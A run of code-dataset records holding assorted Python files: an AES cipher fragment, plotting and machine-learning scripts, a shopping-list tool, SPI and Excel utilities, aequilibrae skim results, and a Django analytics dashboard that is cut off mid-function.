matrix\n\t\tfor column in range(self.Nb):\n\t\t\tfor row in range(4):\n\t\t\t\t# Subsitute byte with corresponding value in Si-table\n\t\t\t\tb[row % 4].append(self.Si[(state[row][column] >> 4) % 16][(state[row][column] & 0x0F)])\n\n\t\treturn b\n\n\tdef ShiftRows(self, state):\n\t\t\"\"\"ShiftRows as specified in AES. \n\t\t\tShifts row1 left by 1\n\t\t\tShifts row2 left by 2\n\t\t\tShifts row3 left by 3\n\n\t\t:param list of list of bytes state: State matrix\n\n\t\t:return: Matrix after applying ShiftRows to it\n\n\t\t:rtype: List of list of bytes\n\t\t\"\"\"\n\t\t# Second row\n\t\tstate[1] = state[1][1:] + state[1][:1]\n\t\t# Third row\n\t\tstate[2] = state[2][2:] + state[2][:2]\n\t\t# Fourth row\n\t\tstate[3] = state[3][3:] + state[3][:3]\n\n\t\treturn state\n\n\tdef InvShiftRows(self, state):\n\t\t\"\"\"ShiftRows as specified in AES. \n\t\t\tShifts row1 right by 1\n\t\t\tShifts row2 right by 2\n\t\t\tShifts row3 right by 3\n\n\t\t:param list of list of bytes state: State matrix\n\n\t\t:return: Matrix after applying InvShiftRows to it\n\n\t\t:rtype: List of list of bytes\n\t\t\"\"\"\n\t\t# Second row\n\t\tstate[1] = state[1][3:] + state[1][:3]\n\t\t# Third row\n\t\tstate[2] = state[2][2:] + state[2][:2]\n\t\t# Forth row\n\t\tstate[3] = state[3][1:] + state[3][:1]\n\n\t\treturn state\n\n\tdef MixColumns(self, state):\n\t\t\"\"\"MixColumns as specified in AES. \n\t\t\ts[0][c] = ({02} * s[0][c]) ^ ({03} * s[1][c]) ^ s[2][c] ^ s[3][c]\n\t\t\ts[1][c] = s[0][c] ^ ({02} * s[1][c]) ^ ({03} * s[2][c]) ^ s[3][c]\n\t\t\ts[2][c] = s[0][c] ^ s[1][c] ^ ({02} * s[2][c]) ^ ({03} * s[3][c])\n\t\t\ts[3][c] = ({03} * s[0][c]) ^ s[1][c] ^ s[2][c] ^ ({02} * s[3][c])\n\n\t\t:param list of list of bytes state: State matrix\n\n\t\t:return: Matrix after applying MixColumns to it\n\n\t\t:rtype: List of list of bytes\n\t\t\"\"\"\n\t\t# Initalize matrix\n\t\ts = []\n\t\tfor row in range(4):\n\t\t\ts.append([])\n\n\t\t# For each columns\n\t\tfor c in range(self.Nb): # c = column\n\t\t\t# s'[0][c]\n\t\t\ts_00 = self.xtime(state[0][c])\n\t\t\ts_01 = self.xtime(state[1][c]) ^ state[1][c]\n\t\t\ts[0].append(s_00 ^ s_01 ^ state[2][c] ^ state[3][c])\n\t\t\t\n\t\t\t# s'[1][c]\n\t\t\ts_11 = self.xtime(state[1][c])\n\t\t\ts_12 = self.xtime(state[2][c]) ^ state[2][c]\n\t\t\ts[1].append(state[0][c] ^ s_11 ^ s_12 ^ state[3][c])\n\n\t\t\t# s'[2][c]\n\t\t\ts_22 = self.xtime(state[2][c])\n\t\t\ts_23 = self.xtime(state[3][c]) ^ state[3][c]\n\t\t\ts[2].append(state[0][c] ^ state[1][c] ^ s_22 ^ s_23)\n\n\t\t\t# s'[3][c]\n\t\t\ts_33 = self.xtime(state[3][c])\n\t\t\ts_30 = self.xtime(state[0][c]) ^ state[0][c]\n\t\t\ts[3].append(s_30 ^ state[1][c] ^ state[2][c] ^ s_33)\n\n\t\treturn s\n\n\tdef InvMixColumns(self, state):\n\t\t\"\"\"MixColumns as specified in AES. \n\t\t\ts[0][c] = ({0e} * s[0][c]) ^ ({0b} * s[1][c]) ^ ({0d} * s[2][c]) ^ ({09} * s[3][c])\n\t\t\ts[1][c] = ({09} * s[0][c]) ^ ({0e} * s[1][c]) ^ ({0b} * s[2][c]) ^ ({0d} * s[3][c])\n\t\t\ts[2][c] = ({0d} * s[0][c]) ^ ({09} * s[1][c]) ^ ({0e} * s[2][c]) ^ ({0b} * s[3][c])\n\t\t\ts[3][c] = ({0b} * s[0][c]) ^ ({0d} * s[1][c]) ^ ({09} * s[2][c]) ^ ({0e} * s[3][c])\n\n\t\t:param list of list of bytes state: State matrix\n\n\t\t:return: Matrix after applying InvMixColumns to it\n\n\t\t:rtype: List of list of bytes\n\t\t\"\"\"\n\t\t# Initalize matrix\n\t\ts = []\n\t\tfor row in range(4):\n\t\t\ts.append([])\n\n\t\t# For each columns\n\t\tfor c in range(self.Nb): # c = column\n\t\t\t# s'[0][c] = ({0e} * s[0][c]) ^ ({0b} * s[1][c]) ^ ({0d} * s[2][c]) ^ ({09} * s[3][c])\n\t\t\ts[0].append(self.xtime_0e(state[0][c]) ^ self.xtime_0b(state[1][c]) ^ self.xtime_0d(state[2][c]) ^ self.xtime_09(state[3][c]))\n\n\t\t\t# s'[1][c] = ({09} * s[0][c]) ^ ({0e} * s[1][c]) ^ ({0b} * s[2][c]) ^ ({0d} * s[3][c])\n\t\t\ts[1].append(self.xtime_09(state[0][c]) ^ self.xtime_0e(state[1][c]) ^ self.xtime_0b(state[2][c]) ^ self.xtime_0d(state[3][c]))\n\n\t\t\t# s'[2][c] = ({0d} * s[0][c]) ^ ({09} * s[1][c]) ^ ({0e} * s[2][c]) ^ ({0b} * s[3][c])\n\t\t\ts[2].append(self.xtime_0d(state[0][c]) ^ self.xtime_09(state[1][c]) ^ self.xtime_0e(state[2][c]) ^ self.xtime_0b(state[3][c]))\n\n\t\t\t# s'[3][c] = ({0b} * s[0][c]) ^ ({0d} * s[1][c]) ^ ({09} * s[2][c]) ^ ({0e} * s[3][c])\n\t\t\ts[3].append(self.xtime_0b(state[0][c]) ^ self.xtime_0d(state[1][c]) ^ self.xtime_09(state[2][c]) ^ self.xtime_0e(state[3][c]))\n\n\t\treturn s\n\n\tdef xtime(self, h):\n\t\t\"\"\"Applies xtime to the given byte\n\t\t\tMultiplies polynomial modulo an irreducible polynomial m(x)\n\t\t\t\tm(x) = x^8 + x^4 + x^3 + x + 1\n\n\t\t:param byte h: Byte to be multiplied by 2\n\n\t\t:return: h polynomial multiplied by 2 mod m(x)\n\t\t\n\t\t:rtype: Byte\n\t\t\"\"\"\n\t\t# If is > 127\n\t\tif(h > 127):\n\t\t\t# Left shift and apply a conditional bitwise XOR with {1b}\n\t\t\treturn ((h << 1) % 256) ^ int('00011011', 2)\n\t\t# Left shift by 1\n\t\treturn (h << 1)\n\n\tdef xtime_0e(self, h): \n\t\t\"\"\"Applies xtime until h * {0e} is achived\n\t\t\t0e = 08 + 04 + 02\n\n\t\t:param byte h: Byte to be multiplied by {0e}\n\n\t\t:rtype: Byte\n\t\t\"\"\"\n\t\th_02 = self.xtime(h)\n\t\th_04 = self.xtime(h_02)\n\t\th_08 = self.xtime(h_04)\n\n\t\treturn h_02 ^ h_04 ^ h_08\n\n\tdef xtime_0b(self, h):\n\t\t\"\"\"Applies xtime until h * {0b} is achived\n\t\t\t0b = 08 + 02 + 01\n\n\t\t:param byte h: Byte to be multiplied by {0b}\n\n\t\t:rtype: Byte\n\t\t\"\"\"\n\t\th_02 = self.xtime(h)\n\t\th_04 = self.xtime(h_02)\n\t\th_08 = self.xtime(h_04)\n\n\t\treturn h ^ h_02 ^ h_08\n\n\tdef xtime_0d(self, h):\n\t\t\"\"\"Applies xtime until h * {0d} is achived\n\t\t\t0d = 08 + 04 + 01\n\n\t\t:param byte h: Byte to be multiplied by {0d}\n\n\t\t:rtype: Byte\n\t\t\"\"\"\n\t\th_02 = self.xtime(h)\n\t\th_04 = self.xtime(h_02)\n\t\th_08 = self.xtime(h_04)\n\n\t\treturn h ^ h_04 ^ h_08\n\n\tdef xtime_09(self, h):\n\t\t\"\"\"Applies xtime until h * {09} is achived\n\t\t\t09 = 08 + 01\n\n\t\t:param byte h: Byte to be multiplied by {09}\n\n\t\t:rtype: Byte\n\t\t\"\"\"\n\t\th_02 = self.xtime(h)\n\t\th_04 = self.xtime(h_02)\n\t\th_08 = self.xtime(h_04)\n\n\t\treturn h ^ h_08","sub_path":"AES/AES.py","file_name":"AES.py","file_ext":"py","file_size_in_byte":22750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"41027601","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport re\nimport matplotlib.patches as mpatches\nfrom matplotlib.legend_handler import HandlerLine2D\nIJ = []\nJI = []\nIJK = []\nJIK = []\nIKJ = []\nJKI = []\nKIJ = []\nKJI = []\n\nmIJ = [[0 for x in range(7)] for y in range(6)]\nmbIJ = [[0 for x in range(7)] for y in range(6)] \n\nmJI = [[0 for x in range(7)] for y in range(6)]\nmbJI = [[0 for x in range(7)] for y in range(6)] \n\nmIJK = [[0 for x in range(7)] for y in range(6)]\nmbIJK = [[0 for x in range(7)] for y in range(6)] \n\nmJIK = [[0 for x in range(7)] for y in range(6)]\nmbJIK = [[0 for x in range(7)] for y in range(6)] \n\nmIKJ = [[0 for x in range(7)] for y in range(6)]\nmbIKJ = [[0 for x in range(7)] for y in range(6)]\n\nmJKI = [[0 for x in range(7)] for y in range(6)]\nmbJKI = [[0 for x in range(7)] for y in range(6)] \n\nmKIJ = [[0 for x in range(7)] for y in range(6)]\nmbKIJ = [[0 for x in range(7)] for y in range(6)]\n\nmKJI = [[0 for x in range(7)] for y in range(6)]\nmbKJI = [[0 for x in range(7)] for y in range(6)] \n\nPile = [mIJK[5], mJIK[5], mIKJ[5], mJKI[5], mKIJ[5], mKJI[5]]\nGoperPile = [mbIJK[5], mbJIK[5], mbIKJ[5], mbJKI[5], mbKIJ[5], mbKJI[5]]\nNamePileList = ['IJK','JIK','IKJ','JKI','KIJ','KJI']\nNamePile = 'IJK-JIK-IKJ-JKI-KIJ-KJI'\nmarkers = [\"o\",\"s\",\"p\",\"P\",\"D\",\"X\"]\n\n\n\nwith open('IJ.txt') as f:\n IJ = re.findall('\\d*?\\.\\d+', f.read())\n for i in range(84):\n IJ[i] = float(IJ[i])\n\n\nwith open('JI.txt') as f:\n JI = re.findall('\\d*?\\.\\d+', f.read())\n for i in range(84):\n JI[i] = float(JI[i])\n\n\nwith open('IJK.txt') as f:\n IJK = re.findall('\\d*?\\.\\d+', f.read())\n for i in range(84):\n IJK[i] = float(IJK[i])\n\nwith open('JIK.txt') as f:\n JIK = re.findall('\\d*?\\.\\d+', f.read())\n for i in range(84):\n JIK[i] = float(JIK[i])\n\n\nwith open('IKJ.txt') as f:\n IKJ = re.findall('\\d*?\\.\\d+', f.read())\n for i in range(84):\n IKJ[i] = float(IKJ[i])\n\nwith open('JKI.txt') as f:\n JKI = re.findall('\\d*?\\.\\d+', f.read())\n for i in range(84):\n JKI[i] = float(JKI[i])\n\n\nwith open('KIJ.txt') as f:\n KIJ = re.findall('\\d*?\\.\\d+', f.read())\n for i in range(84):\n KIJ[i] = float(KIJ[i])\n\nwith open('KJI.txt') as f:\n KJI = re.findall('\\d*?\\.\\d+', f.read())\n for i in range(84):\n KJI[i] = float(KJI[i])\n\nx = 0\nfor i in range(6):\n\tfor j in range(7):\n\t\tmIJ[i][j] = IJ[x]\n\t\tmJI[i][j] = JI[x]\n\t\tmIJK[i][j] = IJK[x] \n\t\tmJIK[i][j] = JIK[x] \n\t\tmIKJ[i][j] = IKJ[x] \n\t\tmJKI[i][j] = JKI[x] \n\t\tmKIJ[i][j] = KIJ[x] \n\t\tmKJI[i][j] = KJI[x]\n\t\t\n\t\tmbIJ[i][j] = IJ[x+42]\n\t\tmbJI[i][j] = JI[x+42]\n\t\tmbIJK[i][j] = IJK[x+42] \n\t\tmbJIK[i][j] = JIK[x+42] \n\t\tmbIKJ[i][j] = IKJ[x+42] \n\t\tmbJKI[i][j] = JKI[x+42] \n\t\tmbKIJ[i][j] = KIJ[x+42] \n\t\tmbKJI[i][j] = KJI[x+42] \n\t\tx = x + 1\n\nxAxis = [100, 200, 400, 500, 800, 1000, 2000]\n\ndef findmax(x):\n\tmax = 0\n\tfor i in range(6):\n\t\tfor j in range(7):\n\t\t\tif (x[i][j] > max):\n\t\t\t\tmax = x[i][j]\n\treturn max\n\ndef findmaxLine(x,y):\n\tmax1 = 0\n\tmax2 = 0\n\tfor i in range(7):\n\t\tif (x[i] > max1):\n\t\t\tmax1 = x[i]\n\t\tif (y[i] > max2):\n\t\t\tmax2 = y[i]\n\tif max1 < max2:\n\t\tmax1 = max2 \n\treturn max1\n\ndef findmaxElem(x,y):\n\tmax = 0\n\tfor i in range(7):\n\t\tif (y[i] > max):\n\t\t\tmax = y[i]\n\tif max < x:\n\t\tmax = x \n\treturn max\t\t\t\t \n\n\n\ndef createPlotAdd(x):\n\tx.figure(\"addition de 2 matrices carrées de tailles n\")\n\tx.subplot(1,2,1)\n\tx.axis([0, 2000, 0, findmaxLine(mIJ[5],mJI[5])])\n\tx.grid(True)\n\tx.title(\"IJ-JI float\")\n\tx.xlabel(\"taille de matrice\")\n\tx.ylabel(\"duree d'execution\")\n\tx.plot(xAxis,mIJ[5],label = \"IJ\",marker = markers[0])\n\tx.plot(xAxis,mJI[5],label = \"JI\",marker = markers[1])\n\tx.legend()\n\tx.subplot(1,2,2)\n\tx.axis([0, 2000, 0, findmaxLine(mbIJ[5],mbJI[5])])\n\tx.grid(True)\n\tx.title(\"IJ-JI long double\")\n\tx.xlabel(\"taille de matrice\")\n\tx.ylabel(\"duree d'execution\")\n\tx.plot(xAxis,mbIJ[5],label = \"IJ\",marker = markers[0])\n\tx.plot(xAxis,mbJI[5],label = \"JI\",marker = markers[1])\n\tx.legend()\n\n\t\ndef createPlotProd(x):\n\tx.figure(\"produit de 2 matrices carrées de tailles n\")\n\tmax = 0\n\tmaxb = 0\n\tfor i in range(6):\n\t\tmax = findmaxElem(max,Pile[i])\n\t\tmaxb = findmaxElem(maxb,GoperPile[i])\n\n\tx.subplot(1,2,1)\n\tx.axis([0, 1000, 0, max])\n\tx.grid(True)\n\tx.title(NamePile + \" float\")\n\tx.xlabel(\"taille de matrice\")\n\tx.ylabel(\"duree d'execution\")\n\tfor i in range(6):\n\t\tx.plot(xAxis,Pile[i],label=NamePileList[i],marker = markers[i])\n\t\tx.legend()\n\n\n\tx.subplot(1,2,2)\n\tx.axis([0, 1000, 0, maxb])\n\tx.grid(True)\n\tx.title(NamePile + \" long double\")\n\tx.xlabel(\"taille de matrice\")\n\tx.ylabel(\"duree d'execution\")\n\tfor i in range(6):\n\t\tx.plot(xAxis,GoperPile[i],label=NamePileList[i],marker = markers[i])\n\t\tx.legend()\n\n\nFplt = plt\nSplt = plt\ncreatePlotAdd(Fplt)\ncreatePlotProd(Splt)\nFplt.show()\nSplt.show()","sub_path":"sheet.py","file_name":"sheet.py","file_ext":"py","file_size_in_byte":4641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"429364464","text":"import numpy as np\nimport pandas as pd\n\n\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import roc_curve, auc, roc_auc_score\nfrom sklearn import linear_model\n\nfrom sklearn.model_selection import GridSearchCV\n\neQTL_table80 = pd.read_table('/nesi/project/uoa02723/Mann_sklearn/Mann_on_training/std80_eQTL_table02042019_selected_by_Fdr0.2_mann_onTrain.txt')\neQTL_table20 = pd.read_table('/nesi/project/uoa02723/Mann_sklearn/Mann_on_training/std20_eQTL_table02042019_selected_by_Fdr0.2_mann_onTrain.txt')\n\ny_train = eQTL_table80['PHENOTYPE'] - 1\ny_test = eQTL_table20['PHENOTYPE'] - 1\nx_train = eQTL_table80[eQTL_table80.columns[6:]]\nx_test = eQTL_table20[eQTL_table20.columns[6:]]\n\n\nX = x_train\nY = y_train\n\nparameters = {'C':[1e-4,1e-3,1e-2,1e-1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,1e0,3,5,7,8,10,15,20,25,30,40,50,100],'max_iter':[1,5,70,100,130,150,170, 180, 200, 300,500,1000,1200,1400,1600,1800,2000,2200,2400,2600,3000],'l1_ratio':[1,0.9,0.8,0.7,0.6]}\nlg_clf = LogisticRegression(random_state=1, solver='saga',n_jobs=-1, penalty='elasticnet' )\ngrid_clf = GridSearchCV(lg_clf, parameters, scoring='roc_auc', n_jobs=-1,iid=False, cv=10)\ngrid_clf.fit(X,Y)\n\nf= open(\"/nesi/project/uoa02723/Mann_sklearn/Mann_on_training/results/sk_grid_lg_0.2_onTrain_saga_elnet2_20092019.txt\",\"w+\")\n\nf.write('sk_grid_lg_0.2_onTrain_saga_elnet2_20092019\\n')\nf.write('grid_clf.best_score_: ' + str(grid_clf.best_score_) + '\\n')\nf.write('grid_clf.best_estimator_: ' + str(grid_clf.best_estimator_) + '\\n')\nf.write('grid_clf.best_params_: ' + str(grid_clf.best_params_) + '\\n')\nf.write('grid_clf.scorer_: ' + str(grid_clf.scorer_) + '\\n')\nf.write('grid_clf.best_score_: ' + str(grid_clf.best_score_) + '\\n')\nf.write('grid_clf.best_score_: ' + str(grid_clf.best_score_) + '\\n')\n\nlg_clf_best_grid = grid_clf.best_estimator_\n\nmodel_Max = roc_auc_score(Y, lg_clf_best_grid.predict_proba(X)[:,1])\ntest_score = roc_auc_score(y_test, lg_clf_best_grid.predict_proba(x_test)[:,1])\nnum_coef = np.sum(lg_clf_best_grid.coef_[0,:] != 0)\n\n\n\ncv_results = grid_clf.cv_results_\nstd_cv = cv_results['std_test_score'][grid_clf.best_index_]\n\nf.write('--------------------------------------------------------------------\\n\\n')\nf.write('In-Sample AUC: ' + str(model_Max) + '\\n')\nf.write('MeanCV AUC: ' + str(grid_clf.best_score_) + '\\n')\nf.write('Standard Deviation CV AUC: ' + str(std_cv) + '\\n')\nf.write('Test sample AUC: ' + str(test_score) + '\\n')\nf.write('num_coef: ' + str(num_coef) + '\\n')\n\n\nf.close()\n\nX_header = np.array(X.columns)\nbest_clf = grid_clf.best_estimator_\ndata_array = np.vstack((X_header,best_clf.coef_[0,:]))\nmodel_weights = pd.DataFrame(data=data_array.T,columns=['Data_feature', 'Weight'])\nmodel_weights.to_csv('/nesi/project/uoa02723/Mann_sklearn/Mann_on_training/results/sk_grid_lg_0.2_onTrain_saga_elnet2_20092019weights.txt', sep='\\t',index=False,line_terminator='\\n')\n\n\n","sub_path":"T1D_predictors/sk_grid_lg_0.2_onTrain_saga_elnet2_20092019.py","file_name":"sk_grid_lg_0.2_onTrain_saga_elnet2_20092019.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"377036477","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jul 8 19:05:29 2020\r\n\r\n@author: MurthySatyavolu\r\n\"\"\"\r\n\r\n\r\nimport pandas\r\ndf = pandas.read_csv('hrdata.txt', \r\n index_col='Employee', \r\n parse_dates=['Hired'],\r\n header=0, \r\n names=['Employee', 'Hired', 'Salary', 'Sick Days'])\r\ndf.to_csv('hrdata_modified.txt')","sub_path":"write_pandas.py","file_name":"write_pandas.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586537894","text":"# show_help function\n# show_list function\n# welcome message\n# main function\n\nshopping_list=[]\n\ndef show_help():\n print(\"\\nUse common to separate each item.\"\n \"Type 'done' to quit,'show' to see the current list, 'help' to get some help.\")\n\ndef show_list():\n print('\\n')\n count= 1\n for item in shopping_list:\n print(\"{}. {}\".format(count, item))\n count+= 1\n\ndef welcome():\n print(\"Welcome! this is a tool that help you remember your shopping list!\")\n print(\"Please give me a list you want to shop for.\")\n\nwelcome()\n\nwhile True:\n newStuff = input(\"> \")\n print(\"Please type in words.\")\n if newStuff.lower()== 'done':\n print(\"\\nHere is your list:\")\n show_list()\n print(\"Bye!\")\n break\n elif newStuff.lower()== 'show':\n show_list()\n continue\n elif newStuff.lower()== 'help':\n show_help()\n continue\n else:\n new_list= newStuff.split(',')\n index= input(\"You are want to put this at a certain spot? we have {} items\\n\".format(len(shopping_list)))\n if index:\n seq= int(index)-1\n for item in new_list:\n shopping_list.insert(seq,item.strip())\n seq+=1\n else:\n for item in new_list:\n shopping_list.append(item.strip())\n","sub_path":"Treehouse_practice/shopping_list_3.py","file_name":"shopping_list_3.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"439291837","text":"#!usr/bin/python\nimport os\nimport pathlib\n\nimport openpyxl\n\nfilename = pathlib.Path(os.getcwd() + \"/AppsSDS/dataof.xlsx\")\nprint (filename)\n\nworkexcel = openpyxl.load_workbook(filename, read_only=False, keep_vba=True, data_only=True, \\\n guess_types=False, keep_links=True)\nworkexcel.save(filename)\nlistprofesion = {}\nlistcell = 529\nfor i in range(listcell) :\n key = workexcel[\"Alphabetized Index\"][\"B1{}\".format(i)].value\n value = workexcel[\"Alphabetized Index\"][\"D1{}\".format(i)].value\n listprofesion.update({key:value})\n print (key)\nprint (listprofesion.keys())\n# workexcel.get_named_range(\"Alphabetized Index\")\n","sub_path":"PySDS/work_excel.py","file_name":"work_excel.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"597936458","text":"#!usr/bin/env python\n__author__ = \"Xiaoguang Zhang\"\n__email__ = \"xzhang@westwoodrobotics.net\"\n__copyright__ = \"Copyright 2020 Westwood Robotics\"\n__date__ = \"Jan 8, 2020\"\n__version__ = \"0.0.1\"\n__status__ = \"Prototype\"\n\nimport time\nimport os\nimport numpy\nimport spidev\n\n# We only have SPI bus 0 available to us on the Pi\nbus = 0\n\n#Device is the chip select pin. Set to 0 or 1, depending on the connections\ndevice = 0\n\n# Enable SPI\nspi = spidev.SpiDev()\n\n# Open a connection to a specific bus and device (chip select pin)\nspi.open(bus, device)\n\n# Set SPI speed and mode\nspi.max_speed_hz = 1000000\nspi.mode = 0\n\nsend = 0b01000010\nspi.writebytes([send, 0])\ndata = spi.readbytes(2)\nBTC = data[0]\n\nprint(data)\nprint(BTC)\n#time.sleep(0.001)\n\n","sub_path":"spi_read_BTC_test.py","file_name":"spi_read_BTC_test.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"370258872","text":"from django.urls import path\nfrom . import views\n\napp_name = \"vote\"\n\nurlpatterns = [\n path('',views.index, name=\"index\"),\n path('create/',views.create, name='create'),\n path('/',views.detail, name='detail'),\n path('/create_comment/',views.create_comment,name=\"create_comment\")\n]","sub_path":"poll_and_media/poll/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"150404156","text":"import numpy as np\nimport multiprocessing as mp\nfrom aequilibrae.matrix.aequilibrae_matrix import AequilibraeMatrix\nfrom aequilibrae.paths.graph import Graph\nfrom aequilibrae.paths.network_skimming import NetworkSkimming\n\n\nclass SkimResults:\n \"\"\"\n Network skimming result holder\n\n ::\n\n from aequilibrae.project import Project\n from aequilibrae.paths.results import SkimResults\n\n proj = Project()\n proj.load('path/to/project.sqlite')\n proj.network.build_graphs()\n # Mode c is car in this project\n car_graph = proj.network.graphs['c']\n\n # minimize travel time\n car_graph.set_graph('free_flow_travel_time')\n\n # Skims travel time and distance\n car_graph.set_skimming(['free_flow_travel_time', 'distance'])\n\n res = SkimResults()\n res.prepare(car_graph)\n res.compute_skims()\n\n res.skims.export('path/to/matrix.aem')\n \"\"\"\n\n def __init__(self):\n self.skims = None\n self.path = None\n self.path_nodes = None\n self.milepost = None\n self.cores = mp.cpu_count()\n\n self.links = -1\n self.nodes = -1\n self.zones = -1\n self.num_skims = -1\n self.__graph_id__ = None\n self.graph: Graph = None\n\n def prepare(self, graph):\n \"\"\"\n Prepares the object with dimensions corresponding to the graph objects\n\n Args:\n *graph* (:obj:`Graph`): Needs to have been set with number of centroids and list of skims (if any)\n \"\"\"\n\n if not graph.cost_field:\n raise Exception('Cost field needs to be set for computation. use graph.set_graph(\"your_cost_field\")')\n\n self.nodes = graph.num_nodes + 1\n self.zones = graph.num_zones\n self.links = graph.num_links + 1\n self.num_skims = len(graph.skim_fields)\n\n self.skims = AequilibraeMatrix()\n self.skims.create_empty(\n file_name=AequilibraeMatrix().random_name(),\n zones=self.zones,\n matrix_names=graph.skim_fields,\n )\n self.skims.index[:] = graph.centroids[:]\n self.skims.computational_view(core_list=self.skims.names)\n self.skims.matrix_view = self.skims.matrix_view.reshape(\n self.zones, self.zones, self.num_skims\n )\n self.__graph_id__ = graph.__id__\n self.graph = graph\n\n def set_cores(self, cores: int) -> None:\n \"\"\"\n Sets number of cores (threads) to be used in computation\n\n Value of zero sets number of threads to all available in the system, while negative values indicate the number\n of threads to be left out of the computational effort.\n\n Resulting number of cores will be adjusted to a minimum of zero or the maximum available in the system if the\n inputs result in values outside those limits\n\n Args:\n *cores* (:obj:`int`): Number of cores to be used in computation\n \"\"\"\n\n if isinstance(cores, int):\n if cores < 0:\n self.cores = max(1, mp.cpu_count() + cores)\n if cores == 0:\n self.cores = mp.cpu_count()\n elif cores > 0:\n cores = max(mp.cpu_count(), cores)\n if self.cores != cores:\n self.cores = cores\n else:\n raise ValueError(\"Number of cores needs to be an integer\")\n\n def reset(self) -> None:\n \"\"\"\n Resets object to prepared and pre-computation state\n \"\"\"\n if self.skims is not None:\n self.skims.fill(np.inf)\n self.path = None\n self.path_nodes = None\n self.milepost = None\n\n else:\n raise ValueError(\n \"Exception: Path results object was not yet prepared/initialized\"\n )\n\n def compute_skims(self) -> None:\n \"\"\"Computes the skims as set\"\"\"\n\n ns = NetworkSkimming(self.graph, self)\n ns.execute()\n","sub_path":"aequilibrae/paths/results/skim_results.py","file_name":"skim_results.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"17671040","text":"import threading\nimport time\n\ntimeEnd = 0\n\ndef count(self):\n global timeEnd\n while self.re_transmis:\n timeEnd = time.perf_counter()\n\ntimeStart = time.perf_counter()\nthread_time = threading.Thread(target=count, args=())\nthread_time.start()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"584124342","text":"# coding=utf-8\nfrom zipfile import ZipFile\nimport cStringIO as StringIO\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.core.urlresolvers import reverse\nimport os\nimport datetime\n\nfrom django.shortcuts import render\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.http import HttpResponse, HttpResponseForbidden, HttpResponseRedirect\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom dashboards.forms import AnswerHelpTicketForm\nfrom helptickets.models import HelpTicket\n\nfrom orders.models import Order\nfrom orders.models import STATUS_CHOICES\n\n# Shows the dashboard generic information\nfrom photos.models import Cropped\n\nfrom django.views.generic import TemplateView\nfrom django.contrib.auth.models import User\nfrom products.models import Product\n\nfrom django.utils import timezone\n\n\ndef last_day_of_month(any_day):\n next_month = any_day.replace(day=28) + timezone.timedelta(days=4)\n return next_month - timezone.timedelta(days=next_month.day)\n\n\ndef first_day_of_month(any_day):\n return timezone.datetime(any_day.year, any_day.month, 1)\n\n\nclass AnalyticsIndexView(TemplateView):\n template_name = 'dashboards/dashboard.html'\n\n def get_context_data(self, **kwargs):\n context = super(AnalyticsIndexView, self).get_context_data(**kwargs)\n context['monthly_registrations'] = self.monthly_registrations()\n context['monthly_sales'] = self.monthly_sales()\n context['orders_by_status'] = self.orders_by_status()\n context['favorite_products'] = self.favorite_products()\n\n # Users joined in the last 30 days\n start_date = datetime.datetime.today() - datetime.timedelta(days=30)\n end_date = datetime.datetime.today()\n new_users_count = User.objects.filter(is_active=True, date_joined__range=(start_date, end_date)).count()\n\n # Pending Orders\n pending_orders_count = Order.objects.filter(status='Pendiente').count()\n\n # Open Help Tickets\n open_help_tickets_count = HelpTicket.objects.filter(status='Abierto').count()\n\n context['new_users'] = new_users_count\n context['pending_orders'] = pending_orders_count\n context['open_help_tickets_count'] = open_help_tickets_count\n\n return context\n\n @staticmethod\n def monthly_registrations():\n final_data = []\n\n date = timezone.now()\n\n for month in xrange(1, 13):\n ceil = last_day_of_month(datetime.date(timezone.now().year, month, 1))\n floor = first_day_of_month(datetime.date(timezone.now().year, month, 1))\n # date = date.replace(month=month)\n count = User.objects.filter(\n date_joined__gte=floor,\n date_joined__lte=ceil).count()\n final_data.append(count)\n return final_data\n\n @staticmethod\n def monthly_sales():\n final_data = []\n\n date = timezone.now()\n\n for month in xrange(1, 13):\n ceil = last_day_of_month(datetime.date(timezone.now().year, month, 1))\n floor = first_day_of_month(datetime.date(timezone.now().year, month, 1))\n sale_total = 0\n # date = date.replace(month=month)\n orders = Order.objects.filter(\n timestamp__gte=floor,\n timestamp__lte=ceil)\n for order in orders:\n sale_total += float(order.final_total)\n final_data.append(sale_total)\n return final_data\n\n @staticmethod\n def orders_by_status():\n final_data = {}\n\n for index, status in STATUS_CHOICES:\n order_status_count = Order.objects.filter(status=index).count()\n final_data[status] = order_status_count\n\n return final_data\n\n @staticmethod\n def favorite_products():\n final_data = []\n\n products = Product.objects.all()\n for product in products:\n count = product.cartitem_set.count()\n final_data.append(count)\n\n return final_data\n\n\n@staff_member_required\ndef dashboard(request):\n # Count of Users joined in the last 30 days\n start_date = datetime.datetime.today() - datetime.timedelta(days=30)\n end_date = datetime.datetime.today()\n new_users_count = User.objects.filter(is_active=True, date_joined__range=(start_date, end_date)).count()\n\n # Count of pending Orders\n pending_orders_count = Order.objects.filter(status='Pendiente').count()\n\n order_list = Order.objects.all()\n\n 